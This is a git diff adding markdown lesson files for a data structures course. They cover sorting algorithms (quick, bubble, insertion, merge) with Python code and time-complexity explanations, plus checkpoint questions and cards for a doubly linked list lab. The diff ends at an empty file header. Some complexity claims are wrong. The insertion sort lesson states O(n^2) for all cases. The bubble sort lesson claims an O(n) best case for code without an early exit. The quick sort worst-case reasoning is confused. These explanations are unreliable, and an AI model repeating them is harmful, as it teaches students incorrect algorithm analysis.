index 00000000..f697fec0
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/13.md
@@ -0,0 +1,69 @@
+
+## Quick Sort Implementation in Python
+
+```python
+def partition(arr,low,high):
+ i = ( low-1 )
+ pivot = arr[high]
+```
+
+The **partition** function is responsible for actually placing our pivot point (always the last element of the list in this version) in its proper place. This means there is no "right side" of the list as far as our pivot is concerned. However, the goal remains the same: all the numbers smaller than the pivot need to be to its left, and all larger numbers need to be to its right.
+
+In this system, we will attempt to always keep track of two elements: a smaller element and a bigger element. Here, we use `i` to represent the smaller element's position. We use the last element of the list as our pivot.
+
+```python
+ for j in range(low, high):
+ if arr[j] < pivot:
+ i = i+1
+ arr[i],arr[j] = arr[j],arr[i]
+```
+
+`j` will represent the larger element. The `i`'th element should always be smaller than the `j`'th element. We want the elements of the list to be in increasing order as we pass through it. We iterate through our list using `j`, doing nothing if the `j`'th element is bigger than the pivot.
+
+If the `j`'th element is smaller than our pivot, we increment `i`. Notice what happens! The `i`'th element is now *bigger* than the `j`'th element. So, we need to swap them.
+
+```python
+ arr[i+1], arr[high] = arr[high], arr[i+1]
+ return ( i+1 )
+```
+
+After we have finished iterating through our list, we should have sorted every element we could in this pass. All that's left is to put the pivot element into its proper place within our list. With the method we chose to increment `i` in our algorithm, all elements right of the `i`'th element will be *bigger* than the pivot element. So, we would insert our pivot element immediately to the right of the `i`'th element, or at the `i+1`'th position. We return this number to be used when running **quickSort** again.
+
+```python
+def quickSort(arr,low,high):
+ if low < high:
+ pi = partition(arr,low,high)
+ quickSort(arr, low, pi-1)
+ quickSort(arr, pi+1, high)
+```
+
+This is where we define the actual **quickSort** function. Notice the role of `pi` here. By the time we call the **partition** function and get `pi`'s value, the pivot element is in its proper place. Thus, we only need to worry about sorting all the elements *before* it and *after* it. That's why we use `pi` to split our list into two and call **quicksort** on both halves.
+
+```python
+def partition(arr,low,high):
+ i = low - 1
+ pivot = arr[high]
+ for j in range(low, high):
+ if arr[j] < pivot:
+ i = i+1
+ arr[i],arr[j] = arr[j],arr[i]
+ arr[i+1],arr[high] = arr[high],arr[i+1]
+ return i+1
+
+def quickSort(arr,low,high):
+ if low < high:
+ pi = partition(arr,low,high)
+
+ quickSort(arr, low, pi-1)
+ quickSort(arr, pi+1, high)
+
+# Driver Code
+arr = [10, 7, 8, 9, 1, 5]
+n = len(arr)
+quickSort(arr,0,n-1)
+print ("Sorted array is:")
+for i in range(n):
+ print ("%d" %arr[i])
+```
+
+Use this code to call our functions and ensure they work properly.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/14-checkpoint.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/14-checkpoint.md
new file mode 100644
index 00000000..b5f6a65d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/14-checkpoint.md
@@ -0,0 +1,5 @@
+**Name**: Quick sort time complexity checkpoint
+
+**Instruction**: What does the time complexity of quick sort depend on?
+
+**Type**: short answer
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/14.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/14.md
new file mode 100644
index 00000000..ba2bf911
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/14.md
@@ -0,0 +1,78 @@
+
+
+
+
+
+
+Unlike the previous two algrothms, the quick sort algorithm actually has different time complexities depending on the average, worst-case, or best-case scenario. They all depend greatly on the algorithm's chosen pivot. Here is the code for reference:
+
+```python
+def partition(arr,low,high):
+ i = low - 1
+ pivot = arr[high]
+ for j in range(low, high):
+ if arr[j] < pivot:
+ i = i+1
+ arr[i],arr[j] = arr[j],arr[i]
+ arr[i+1],arr[high] = arr[high],arr[i+1]
+ return i+1
+
+def quickSort(arr,low,high):
+ if low < high:
+ pi = partition(arr,low,high)
+
+ quickSort(arr, low, pi-1)
+ quickSort(arr, pi+1, high)
+
+```
+
+
+
+### Best-Case Scenario
+
+The best-case scenario for the quick sort algorithm occurs when the pivot always chooses the middle of the list. By doing so, it effectively halves the list and doubles the execution speed. Thus, the time complexity would be O(nlogn) in the best-case scenario.
+
+The Logn comes from the recursive calls:
+
+```python
+ quickSort(arr, low, pi-1)
+ quickSort(arr, pi+1, high)
+```
+
+If the pivot is in the middle every time, then you're working on both sides of the pivot evenly, thus speeding up the sorting process.
+
+The n comes from the for-loop present in our code:
+
+```python
+def partition(arr,low,high):
+ i = low - 1
+ pivot = arr[high]
+ for j in range(low, high):
+ if arr[j] < pivot:
+```
+
+When choosing the pivot, you're also sorting both sides of the pivot (left and right). You're doing this through the for-loop, which iterates n times, resulting in the O(n) time. Therefore, when you combine the two time complexities, you get O(nlogn).
+
+### Worst-Case Scenario
+
+The worst-case scenario occurs when the pivot always chooses either the smallest or largest element in the list. If this were to happen, then the algorithm will run in O(n^2) time depending on the implementation of the quick sort algorithm. This can be seen in the if statement:
+
+```python
+def partition(arr,low,high):
+ i = low - 1
+ pivot = arr[high]
+ for j in range(low, high):
+ if arr[j] < pivot:
+```
+
+In the example above, if the pivot was always greater than arr[j], then only the following will always run:
+
+```
+arr[i+1],arr[high] = arr[high],arr[i+1]
+```
+
+If this were to happen, then the second element in the list will always swap with the right element, making it manually swap the elements n^2 times.
+
+### Average Scenario
+
+The average scenario is the same as the best-case scenario in which the run time is O(nlogn). Once again, the n comes from the for-loop mentioned in the best-case scenario. The logn is also taken from the best-case scenario. That is because the list is still divided into two even if the split is not exact! Due to that division and the for-loop, the run time is O(nlogn).
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/2.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/2.md
new file mode 100644
index 00000000..dc7aa9d1
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/2.md
@@ -0,0 +1,31 @@
+
+
+
+
+
+
+# Bubble Sort Theory
+
+Bubble sort is considered to be one of the simplest sorting algorithms. The name comes from the fact that this method compares two adjacent elements and swaps them if they're out of order. This makes larger values "bubble to the top" (to the end of the list), resulting in a fully sorted list.
+
+
+
+Lets break this process down into steps using the list shown above:
+
+
+
+1. Compare the first two numbers; if they are not sorted (as in the larger number comes before the smaller one), then swap the two. This assumes that you want the list elements to be sorted from smallest to largest. In our list, 6 comes before 5, so we swap the two. The list now looks like this:
+
+
+
+2. Move on from the first value and compare the second and third. Swap if necessary. In our case, 6 now comes before 3, so we swap again:
+
+
+
+3. Continue down the list until you reach the last element. At this point, the largest value has been sorted. In our example, 8 is the largest number. So, 8 should now be last in the list:
+
+
+
+4. We finished the first pass of the list. Now, we start over again from the first number, 5 in our case, and repeat Steps 1-3. This time, however, we continue down the list to the *second-to-last* element. This is because 8 is where we want it, so swapping is unnecessary. We then repeat the whole process until we arrive at our desired fully sorted list:
+
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/3.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/3.md
new file mode 100644
index 00000000..7b7dae5f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/3.md
@@ -0,0 +1,43 @@
+
+## Bubble Sort Implementation in Python
+
+```python
+def bubbleSort(bubble):
+ for n in range(len(bubble)-1,0,-1):
+
+```
+
+Let's start with writing a function. We want to first identify the length of our list for when we start comparing elements. In the beginning, the length will simply be the original size of the list, but with every iteration, it will grow smaller. This is because as we fully sort more numbers, we reduce the number of elements to compare and swap the next time.
+
+```python
+ for i in range(n):
+ if bubble[i] > bubble[i+1]:
+```
+
+Here, we look at and compare two elements in our range. If the current element is smaller than the next one, they need to be swapped. Again, we are trying to sort an array of numbers from smallest to largest.
+
+```python
+ temp = bubble[i]
+ bubble[i] = bubble[i+1]
+ bubble[i+1] = temp
+```
+
+This is a classic swap procedure that switches two elements in a list. We first make a temporary copy of the current element and store its value. Then, we set the value of the current element to the next element's value. Finally, we set the next element's value to the current element's *original* value from our copy.
+
+We will continue comparing and swapping every pair of numbers until the entire list is sorted from smallest to largest.
+
+```python
+def bubbleSort(bubble):
+ for n in range(len(bubble)-1,0,-1):
+ for i in range(n):
+ if bubble[i] > bubble[i+1]:
+ temp = bubble[i]
+ bubble[i] = bubble[i+1]
+ bubble[i+1] = temp
+
+bubble = [14,46,43,27,57,41,45,21,70]
+bubbleSort(bubble)
+print(bubble)
+```
+
+To test if our sort function works, we can create a sample list and run our function.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/4-checkpoint.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/4-checkpoint.md
new file mode 100644
index 00000000..829a70c9
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/4-checkpoint.md
@@ -0,0 +1,5 @@
+**Name**: Bubble sort time complexity checkpoint
+
+**Instruction**: Why is the average case time complexity the same as the worst time complexity?
+
+**Type**: short answer
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/4.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/4.md
new file mode 100644
index 00000000..8b742151
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/4.md
@@ -0,0 +1,50 @@
+
+
+
+
+
+
+Before we explain the various time complexities of bubble sort, here is the code for the algorithm:
+
+```python
+def bubbleSort(bubble):
+ for n in range(len(bubble)-1,0,-1):
+ for i in range(n):
+ if bubble[i] > bubble[i+1]:
+ temp = bubble[i]
+ bubble[i] = bubble[i+1]
+ bubble[i+1] = temp
+```
+
+###Best Case
+
+
+
+The best-case scenario when doing bubble sort occurs when the list given to you is already sorted. In that case, the best-case time complexity is O(n). That can be seen in the nested for-loop:
+
+```python
+for n in range(len(bubble)-1,0,-1):
+ for i in range(n):
+ if bubble[i] > bubble[i+1]:
+```
+
+At this point, the algorithm checks if the current list is sorted. If it is not sorted, then the elements get swapped. In the best-case scenario, since the list is already sorted, the algorithm will only go through all elements once, thus giving us a best-case time complexity of O(n).
+
+### Worst-Case Scenario
+
+
+
+The worst-case scenario occurs when the list is reversed. If that is the case, the worst-case time complexity is O(n^2). That can be seen in the two for-loops:
+
+```Python
+for n in range(len(bubble)-1,0,-1):
+ for i in range(n):
+ if bubble[i] > bubble[i+1]:
+```
+
+Because the list is reversed, while the first for-loop goes through every element once, the second for-loop will be doing the same thing again to swap the elements in the reversed list. Since one for-loop takes O(n) time, a nested for-loop like this will take O(n^2) time. Therefore, the worst time complexity of the bubble sort is O(n^2).
+
+###Average Case
+
+The likelihood of the list being either sorted or reversed is very small. However, the time complexity of the average case is O(n^2), just like in the worst-case scenario. Even though the list is partly sorted, there will still be action in the two for-loops to ensure swapping occurs to fully sort the list. Of the three cases, this is the most likely scenario to happen.
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/5.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/5.md
new file mode 100644
index 00000000..d7a7c124
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/5.md
@@ -0,0 +1,21 @@
+# Insertion Sort Theory
+
+Insertion sort uproots the current element of a list, compares it to all previous elements that we have already looked it, and places it in the appropriate spot. Because of this, insertion sort only needs one pass to fully sort a list.
+
+
+
+Let's use an example list to illustrate the specific steps of the algorithm:
+
+
+
+1. We first take the second element and compare it to the first. If it is smaller, we place it before the first element. We are trying to sort the array from smallest to largest. After this initial step, our sample list will look like this:
+
+
+
+2. Move on to the next element, in this case 3. Since this is the third element, we compare it to the previous *two* elements. 3 is smaller than both 5 and 6, so it will be placed in the first position of our list. Our list now looks like this:
+
+
+
+3. We continue down the list and keep repeating this process, comparing the nth element with the n - 1 previous elements, and adjusting its position until we get a fully sorted array:
+
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/6.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/6.md
new file mode 100644
index 00000000..8d2607c3
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/6.md
@@ -0,0 +1,43 @@
+### Insertion Sort Implementation In Python
+
+ ```python
+ def insertionSort(arr):
+ for i in range(1, len(arr)):
+ key = arr[i]
+ j = i-1
+
+ ```
+
+First, we create a function. We use a for-loop to make a pass through our list and compare elements. We call the element we're currently viewing `key`. The variable `j` is the name for a previous element we're comparing to `key`. We start at the second element of our list, `i = 1`.
+
+```python
+ while j >= 0 and key < arr[j]:
+ arr[j+1] = arr[j]
+ j -= 1
+```
+
+Here, we shift any elements bigger than `key` one position to the right in our list, making sure we don't go out-of-bounds on our indices.
+
+ ```python
+ arr[j + 1] = key
+ ```
+
+After we finish shifting elements and our function breaks out of the while-loop, we must check if the element we were looking at (`key`) is in its proper place. We place it in the appropriate position in our list. Now, we can then start looking at the next element, which becomes our new `key`.
+
+ ```python
+def insertionSort(arr):
+ for i in range(1, len(arr)):
+ key = arr[i]
+ j = i-1
+ while j >= 0 and key < arr[j]:
+ arr[j+1] = arr[j]
+ j -= 1
+ arr[j + 1] = key
+
+# Driver code
+arr = [12, 11, 13, 5, 6]
+insertionSort(arr)
+print(arr)
+ ```
+
+ Use this block of code to test if our function is working properly.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/7-checkpoint.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/7-checkpoint.md
new file mode 100644
index 00000000..ddf09982
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/7-checkpoint.md
@@ -0,0 +1,5 @@
+**Name**: Insertion sort time complexity checkpoint
+
+**Instruction**: Why is the time complexity for insertion the same for all cases?
+
+**Type**: short answer
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/7.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/7.md
new file mode 100644
index 00000000..183c3155
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/7.md
@@ -0,0 +1,33 @@
+
+
+
+
+
+
+The insertion sort algorithm's time complexity is slightly different than the bubble sort's. But before heading into that, here is the code for it as reference:
+
+```Python
+def insertionSort(arr):
+ for i in range(1, len(arr)):
+ key = arr[i]
+ j = i-1
+ while j >= 0 and key < arr[j]:
+ arr[j+1] = arr[j]
+ j -= 1
+ arr[j + 1] = key
+```
+
+
+
+### Insertion Sort Time Complexity
+
+Unlike with bubble sort, the insertion sort only has one time complexity for all its cases. Regardless of whether or not the list's order has been fully sorted, partially sorted, or reversed, the time complexity remains as O(n^2). This can be seen in the two loops present in the code:
+
+```Python
+for i in range(1, len(arr)):
+ key = arr[i]
+ j = i-1
+ while j >= 0 and key < arr[j]:
+```
+
+As you may have noticed, the two for-loops ALWAYS trigger regardless of the state of the list. It only stops once all elements in the list have been visited by the first for-loop. But, every time the first for-loop lands on an element, the while-loop will traverse the list again to check if anything else needs to be sorted. Therefore, due to the two loops, the time complexity for all cases is O(n^2).
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/8.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/8.md
new file mode 100644
index 00000000..9383d543
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/8.md
@@ -0,0 +1,35 @@
+
+
+
+
+
+
+# Merge Sort Theory
+
+If we pretend to sort a deck of cards, merge sort is analogous to cutting the deck into smaller, more manageable groups and rearranging the cards before combining them back together.
+
+
+
+This algorithm slightly differs from the previous algorithms we learned since it requires dividing the list into smaller parts before sorting everything together. We'll use a sample list again to show each concrete step:
+
+
+
+1. First, divide the list in approximately two halves. In our exmaple, one half is bigger due to an odd number of elements in our list. After this first division, our sample list now looks like this:
+
+
+
+2. Keep dividing each list in half until every original element is by itself:
+
+
+
+3. Now, try and pair elements together in order. Here, we are trying to sort from smallest to largest. In our sample list, the `7` will have to be by itself:
+
+
+
+4. Now, move on to pairing groups of elements. We make sure to sort all the elements first before combining them. After this step, our sample list will look like this:
+
+
+
+ Simply do one more sort-and-combine step to get our fully sorted list:
+
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/9.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/9.md
new file mode 100644
index 00000000..51d7caf1
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity4_Sorting/9.md
@@ -0,0 +1,23 @@
+### Merge Sort in Python (Part I)
+
+```python
+def mergeSort(alist):
+ if len(alist) > 1:
+ mid = len(alist) // 2 # integer division
+```
+
+Let's start off with creating a function. If the length of the list we are looking at is greater than 1, it might need sorting. We first create a variable called `mid`, which finds the middle position of the list. We need this to do the initial splitting of the list into two equal groups.
+
+```python
+lefthalf = alist[:mid]
+righthalf = alist[mid:]
+```
+
+These two lines split the list into two approximately equal groups. `lefthalf` holds all the elements of our original list from the beginning up to,*but not including*, `mid`. `righthalf` then holds all of the elements from the `mid`, or middle, position all the way to the end.
+
+```
+mergeSort(lefthalf)
+mergeSort(righthalf)
+```
+
+Here, we use recursion to split up both halves of our list. We simply treat each part as another list and put them through the same splitting process we just went through. We keep doing this until each element is on its own and ready to be placed into pairs. The code for actually sorting and combining the elements into groups comes next.
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/1.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/1.md
new file mode 100644
index 00000000..17401b30
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/1.md
@@ -0,0 +1,19 @@
+
+
+
+
+
+
+Since you have been introduced to the concept of a linked list, we are going to make a doubly linked list in this lab. Different from a singly linked list, a **D**oubly **L**inked **L**ist (DLL) contains an extra pointer called the previous pointer, together with the next pointer and the data (the components already in a singly linked list).
+
+
+
+With an extra pointer (previous pointer), a doubly linked list can be traversed in both forward and backward direction. It also helps us to insert a new node or delete a node because singly linked list needs the previous pointer to operate deletion.
+
+---
+
+With the brief introduction to the doubly linked list, let's start this lab by making a **Node class** to initialize a new node with the element and the next and previous pointers.
+
+Next, we need to create the **DoublyLinkedList class** that contains different functions related to doubly linked lists. Remember that we don't use arrays here, we use pointers to the next and previous nodes in order to access and adjust elements in the list.
+
+At the beginning, we have no nodes in our current linked list, so we should have a constructor that initialize the head pointer as None. After that, we will implement different functions in this class to manipulate our linked list.
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/11.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/11.md
new file mode 100644
index 00000000..c6e2f1a0
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/11.md
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+**Step 1: Node class**
+
+For the **Node class**, we should have a constructor that initializes the three member variables: the element (the actual data), the next pointer (next node), and the previous pointer (previous node). These pointers should be pointing at `None` by default because we don't know where this node will be in our list.
+
+**Step 2: DoublyLinkedList class**
+
+For the **DoublyLinkedList class**, the constructor will initialize the first node as `None`.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/111.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/111.md
new file mode 100644
index 00000000..7d42a6d8
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/111.md
@@ -0,0 +1,28 @@
+
+
+
+
+
+
+As you have already learned, a linked list consists of a **head** pointer pointing at the first node and a **tail** pointer pointing at the last node. Each node in the list contains the element and two pointers, **next** and **previous**. Note that the head node has a previous pointer that points to null, and the tail node has a next pointer that points to null.
+
+Define a node class that initializes the information of a new node. Here is the actual code:
+
+```python
+class Node:
+ def __init__(self, data):
+ self.data = data
+ self.next = None
+ self.prev = None
+```
+
+This serves as the foundation of the doubly linked list, as **every node** in the list will have **data**, **next**, and **prev**.
+
+
+
+The `data` stores the actual value for the node. In the picture above, the value of the `data` in the second node is **B**.
+
+The `next` pointer stores the reference to the *next* node. Node **B**'s `next` has the reference to node **C**.
+
+The `prev` pointer stores the reference to the *previous* node. Node **B**'s `prev` has a reference to node **A**.
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/112.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/112.md
new file mode 100644
index 00000000..c5c6746e
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/112.md
@@ -0,0 +1,28 @@
+
+
+
+
+
+
+After creating the `Node `class, we need a `DoublyLinkedList` class that will house all of the functions needed for using the data structure.
+
+First we need to initialize the list using `__init__`.
+
+Remember that every linked list has a **head**, **tail**, and an optional **size**.
+
+```python
+class DoublyLinkedList:
+
+ def __init__(self):
+ self.head = None
+ self.tail = None
+ self.size = 0
+```
+
+The `head` has a reference to the front or top of the whole list. It points to the first node.
+
+The `tail` has a reference to the back or bottom of the whole list. It points to the last node.
+
+The `size` will keep count of how many nodes there are in the list.
+
+- Note that `size` is optional, but increases efficiency when needing to measure the size of the list. Instead of iterating through the whole list, we just have to reference `size`.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/2-CHECKPOINT.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/2-CHECKPOINT.md
new file mode 100644
index 00000000..2c757e05
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/2-CHECKPOINT.md
@@ -0,0 +1,37 @@
+
+## Multiple Choice Checkpoint
+
+Description: What would `printList()` look like ?
+
+Choices:
+```python
+def printList(self, node):
+ while node != None:
+ print(node.data)
+ node = node.next
+```
+
+
+```python
+def printList(self, node):
+ for i in range(len(node)):
+ print(node[i].data)
+```
+
+```python
+def printList(self, node):
+ print(node)
+ printList(node.next)
+```
+
+
+
+
+Correct Choice:
+
+```python
+def printList(self, node):
+ while node != None:
+ print(node.data)
+ node = node.next
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/2.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/2.md
new file mode 100644
index 00000000..0d048fdd
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/2.md
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+
+
+You can traverse the list to get each element of the node and do something with it, either printing each element in the list or comparing it with a specific value.
+
+Under your doubly linked list class, define a function called **printList()**. It should traverse the list and print each element separated by a comma. The function will take one parameter, which is the node you want to start printing from. It will print the list from this value to the end of the list.
+
+For edge cases, such as when the list is empty, your code may give an error. Try using an *if* statement to check for certain cases before going into the list traversal code.
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/21.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/21.md
new file mode 100644
index 00000000..916a13fc
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/21.md
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+**Step 1: printList()**
+
+The simplest way to check an empty list is to see whether the first node exists. If the first node doesn't exist, meaning that the doubly linked list is empty, then you can return.
+
+Otherwise, the list is not empty. If this is the case, set your current node from the head node to the tail node by using the next pointer.
+
+Print the element of every node you go through.
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/211.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/211.md
new file mode 100644
index 00000000..b61985dc
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/211.md
@@ -0,0 +1,27 @@
+
+
+
+
+
+
+The function `printList(self, node)` will help you visualize the list.
+
+**Step 1: Printing**
+
+We start by printing each node's data value.
+
+**Step 2: Traversal**
+
+We continue by traversing through the list. It will halt when you reach the end of the list, where `node` equals `None`, since the last node points to `None`.
+
+```python
+def printList(self, node):
+
+ while node != None:
+ print(node.data)
+
+ # Get next node
+ node = node.next
+```
+
+We pass `node` in as a parameter assuming it is the variable assigned to a node where a linked list began. Passing in one node is sufficient to traverse the whole list because we start at this head node, then access the following nodes (`node.next`) since they're linked together.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/3.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/3.md
new file mode 100644
index 00000000..3408b034
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/3.md
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+Define a method to search the entire list, and call it **search()**. It requires one parameter: the value to be searched for. You will need to compare that value with each one in the linked list until you find it or go out of bounds.
+
+If you find the node with the specific value you're searching for, return the Boolean value `True`. Otherwise, return `False`.
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/31.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/31.md
new file mode 100644
index 00000000..a69dd6d7
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/31.md
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+**Step 1: search()**
+
+The operation in this card is similar to traversing the doubly linked list. You need to go through each element in the list and compare them to your specific value.
+
+In this function, you need to return the Boolean value, either `True` or `False`. You can use a while-loop and the next pointer to traverse the list until you either find the matching node with the specific value or pass the tail node, going out of bounds.
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/311.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/311.md
new file mode 100644
index 00000000..405a3d06
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/311.md
@@ -0,0 +1,31 @@
+
+
+
+
+
+
+Now, what if we want to search for a node in the list?
+
+For this, we would want to create a `search(node)` function that checks if the node is present or absent in the list.
+
+```python
+def search(self, target):
+ current = self.head
+
+ # Loop till current not equal to None
+ while current != None:
+ if current.data == target:
+ return True # Data found
+
+ current = current.next
+
+ return False # Data Not found
+```
+
+The function `search(node)` iterates through each node using `current = current.next` to get to the next node.
+
+The while-loop will break when:
+
+1. the desired node is **found**
+2. the current node is `None`, which means you are at the end of the list and the node was **not found**
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/4-CHECKPOINT.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/4-CHECKPOINT.md
new file mode 100644
index 00000000..9d1221d7
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/4-CHECKPOINT.md
@@ -0,0 +1,3 @@
+## Checkpoint `push`, `pushback` , `insertAfter` , `insertBefore`
+
+Implement the following functions and submit your code. `main()` functions were provided to test those functions
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/4.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/4.md
new file mode 100644
index 00000000..62f6c285
--- /dev/null
